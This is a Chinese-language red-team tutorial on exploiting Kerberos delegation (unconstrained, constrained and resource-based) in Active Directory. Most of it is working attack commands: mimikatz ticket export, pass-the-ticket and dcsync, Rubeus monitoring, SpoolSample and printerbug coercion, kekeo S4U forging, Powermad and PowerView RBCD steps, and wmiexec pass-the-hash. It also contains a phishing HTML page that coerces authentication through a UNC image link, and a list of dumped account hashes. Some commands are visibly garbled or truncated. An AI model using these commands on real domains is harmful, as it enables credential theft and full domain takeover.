委派

委派​ 是一种允许一个服务或应用程序使用客户端的身份去访问另一个后端服务或资源的机制

为什么委派

在没有委派的情况下,一个经典的三层架构(用户 -> Web服务器 -> 数据库)会遇到问题:

  • 用户​ 通过 Kerberos 认证到 Web服务器

  • Web服务器​ 需要以该用户的身份去访问 数据库​ 时,数据库需要验证请求者的身份。

  • 如果没有委派,Web服务器只能使用自己的服务账户身份去访问数据库,这会导致:

    1. 权限过大:数据库无法区分不同用户,只能给Web服务账户一个统一的、较高的权限。

    2. 审计困难:无法在数据库日志中追踪是哪个具体用户执行了操作。

委派解决了这个问题:它允许 Web服务器 “扮演”​ 原始用户,将用户的身份凭证安全地传递到后端数据库,从而实现权限细分和精准审计

委派分类

非约束性委派

判断

向被控主机上传一个 AdFind

查询域内设置非约束委派的机器账户

AdFind -b "DC=god,DC=org" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" dn

查询域内设置非约束委派的服务账户

AdFind -b "DC=god,DC=org" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" dn

思路

1、诱使域管理员访问机器(Administrator 权限,机器账户开启非约束委派,DC 远程访问)

2、结合打印机漏洞(强制DC访问你,DC2012 以上,Administrator 权限,打印机服务 spooler 开启)

操作手法 1

利用过程:

1、域控与委派机器通讯

主动:

net use \\webserver\c$

钓鱼:

http://192.168.3.31/31.html

<!DOCTYPE html>

<html>

<head>

<title></title>

</head>

<body>

<img src="file:///\\192.168.3.31\2">

</body>

</html>

2、导出票据到本地

mimikatz sekurlsa::tickets /export

3、导入票据到内存

mimikatz kerberos::ptt [0;fece8]-2-0-60a00000-Administrator@krbtgt-GOD.ORG.kirbi

4、连接通讯域控

shell dir \\owa2010cn-god\c$

操作手法2

1、监听来自DC的请求数据并保存文件

shell Rubeus.exe monitor /interval:2 /filteruser:dc$ >hash.txt

域用户运行SpoolSample强制让DC请求

shell SpoolSample.exe dc web2016

2、Rubeus监听到票据并导入该票据

shell Rubeus.exe ptt /ticket:xxx//xxx是目标机上的hash.txt,下载到本地

结果:

[*] Action: Import Ticket

[+] Ticket successfully imported!

3、使用mimikatz导出域内Hash

mimikatz lsadump::dcsync /domain:xiaodi8.com /all /csv//xiaodi8.com为域名,实战根据具体情况替换

结果:

返回大量hash


502 krbtgt 2f7bb73bf1af2238cf6940c4dd29debb 514

1107 XIAODIPC$ 8eaf05b0dbd4c0cf29d7eadb62cc8d95 16781312

1104 xdpc 462c6bb6b20e9f2c998ac6dd93ce9c4d 16843264

1105 xd e6f01fc9f2a0dc96871220f7787164bd 16843264

1106 WEB$ c117c5257dddf4e963d20298d637f29b 16781312

1103 web e6f01fc9f2a0dc96871220f7787164bd 16843264

1000 DC$ 23eb6eac846bfd3690fc7bbe2d8caa8b 532480

500 Administrator 072f92e6d53930958c00c37badcb8f6a 512

1109 web2016 e6f01fc9f2a0dc96871220f7787164bd 590336

1110 WEB2016$ b6d1701eaf0a3877c22ca7eca5a06f57 528384


4、借助hash横向移动

python wmiexec.py -hashes :0b17b318cd59bb4e90f5a528437481a9 xiaodi8.com/administrator@dc.xiaodi8.com -no-pass

cs 插件 psexec......

约束性委派

判断

//实战更换DC=

查询机器用户(主机)配置约束委派

AdFind -b "DC=god,DC=org" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" msds-allowedtodelegateto

查询服务账户(主机)配置约束委派

AdFind -b "DC=god,DC=org" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" msds-allowedtodelegateto

操作手法

kekeo

1、获取webadmin用户的票据//需要获得weadmin的hash/明文密码

kekeo "tgt::ask /user:webadmin /domain:god.org /password::admin!@#45 /ticket:administrator.kirbi" "exit"

kekeo "tgt::ask /user:webadmin /domain:god.org /NTLM:518b98ad4178a53695dc997aa02d455c /ticket:administrator.kirbi" "exit"//实战更改user,domain,NTLM即可

2、利用webadmin用户票据请求获取域控票据(伪造票据)

kekeo "tgs::s4u /tgt:TGT_webadmin@GOD.ORG_krbtgt~god.org@GOD.ORG.kirbi /user:Administrator@god.org /service:cifs/owa2010cn-god" "exit"

kekeo "tgs::s4u /tgt:TGT_webadmin@GOD.ORG_krbtgt~god.org@GOD.ORG.kirbi /user:Administrator@god.org /service:cifs/owa2010cn-god.god.org" "exit"

3、导入票据到内存

mimikatz kerberos::ptt TGS_Administrator@god.org@GOD.ORG_cifs~owa2010cn-god.god.org@GOD.ORG.kirbi

4、连接通讯域控

shell dir \\owa2010cn-god.god.org\c$

基于资源的约束委派(RBCD)

思路

1、通过管理主机加入域的用户拿下主机

2、已知 Acount Operators 组用户拿下主机(SID值不一致,被控用户属于Acount Operators组)

3、结合 HTLM Relay 攻击拿下主机(CVE-2019-1040)

操作手法1

1、判断

查询被域用户创建的机器账户列表:

shell AdFind.exe -b "DC=xiaodi,DC=local" -f "(&(samAccountType=805306369))" cn mS-DS-CreatorSID

根据查询出来的 sid 找出对应的用户名:

shell AdFind.exe -b "DC=xiaodi,DC=local" -f "(&(objectsid=S-1-5-21-1695257952-3088263962-2055235443-1104))" objectclass cn dn

根据实战情况替换 SID,

//相同 SID,控制该用户,可以 RBCD,控制其他相同 SID 主机

2、开始利用新增机器账户

添加一个机器账户,用于申请票据

# 使用 addcpmputer 创建机器账户(需要明文密码,不推荐

python addcomputer.py xiaodi8.com/web2016:Xiaodi12345 -method LDAPS -computer-name test01\$ -computer-pass Passw0rd -dc-ip 192.168.139.11

# 使用 bloodyAD 工具创建机器账户

python bloodyAD.py -d redteam.lab -u web2016 -p 'Xiaodi12345' --host 192.168.139.11 addComputer test01 'Passw0rd'

# 使用 PowerMad 工具创建机器账户(推荐

powershell Set-ExecutionPolicy Bypass -Scope Process

powershell Import-Module .\Powermad.ps1;New-MachineAccount -MachineAccount serviceA -Password $(ConvertTo-SecureString "123456" -AsPlainText -Force)

//Powermad.ps1需要上传

机器密码,成功之后,域控多了一台serviceA

3、利用新增机器账户修改委派属性满足申请访问目标票款

修改目标主机的资源委派属性(data)

msds-allowedtoactonbehalfofotheridentity

获取新增账户的objectsid

powershell Import-Module .\PowerView.ps1;Get-NetComputer serviceA -Properties objectsid

//记住返回的 SID

修改 datax 主机委派属性:

powershell import-module .\powerview.ps1;$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-1695257952-3088263962-2055235443-1124)";$SDBytes = New-Object byte[] ($SD.BinaryLength);$SD.GetBinaryForm($SDBytes, 0);Get-DomainComputer datax| Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose

上一步返回的SID目标主机

//命令解释:将 datax 主机的 msds-allowedtoactonbehalfofotheridentity 属性值修改为SDBytes->S-1-5-21-1695257952-3088263962-2055235443-1124(ServiceA/123456)

成功后就可以尝试用 serviceA 对 datax 进行资源攻击委派


验证和清除委派属性:

powershell import-module .\powerview.ps1;Get-DomainComputer data -Properties msds-allowedtoactonbehalfofotheridentity

powershell import-module .\powerview.ps1;Set-DomainObject data -Clear 'msds-allowedtoactonbehalfofotheridentity' -Verbose


4、利用修改后的属性申请目标请求票据后导入利用(Impacket套件)

利用 serviceA 申请访问 data 主机 cifs 服务票据:

python getST.py -dc-ip 192.168.3.33 xiaodi.local/serviceA\$:123456 -spn cifs/datax.xiaodi.local -impersonate administrator

域名

//会在本地Impacket中生成票据文件,上传票据到被控主机

导入票据到内存:

mimikatz kerberos::

administrator.ccache

连接利用票据:

shell dir \\data.xiaodi.local\c$

操作手法2

Acount Operators 组成员可以修改域内任意主机的 msds-allowedtoactonbehalfofotheridentity 属性

1、判断是否有利用条件:

查询 Acount Operators 组成员:

shell adfind.exe -h 192.168.3.33:389 -s subtree -b CN="Account Operators",CN=Builtin,DC=xiaodi,DC=local member

返回内容 CN=被控用户,就可以利用了

2、被控用户-> 添加新机器用户 -> 获取新用户SID -> 修改目标主机的委派属性 -> 连接上线

操作手法3

利用 htlm 重放攻击(CVE-2019-1040)

1、监听:

使用 ntlmrelayx 工具(后续讲到中继重放攻击等)

responder -I eth1 -wd

2、利用打印机漏洞(CVE-2019-1040)让目标3.33强制访问3.143

下载:https://github.com/dirkjanm/krbrelayx

python printerbug.py xiaodi.local/webadmin:admin!@#45@192.168.3.33 192.168.3.143

密码可以不输,取决系统版本

//详细原理可以参考下一篇文章

账户分类

机器账户:计算机名,域中 computers 组内的计算机

主机账户:计算机系统的主机账户,用于登录计算机

服务账户:计算机服务安装时创建的账户,不能登录计算机从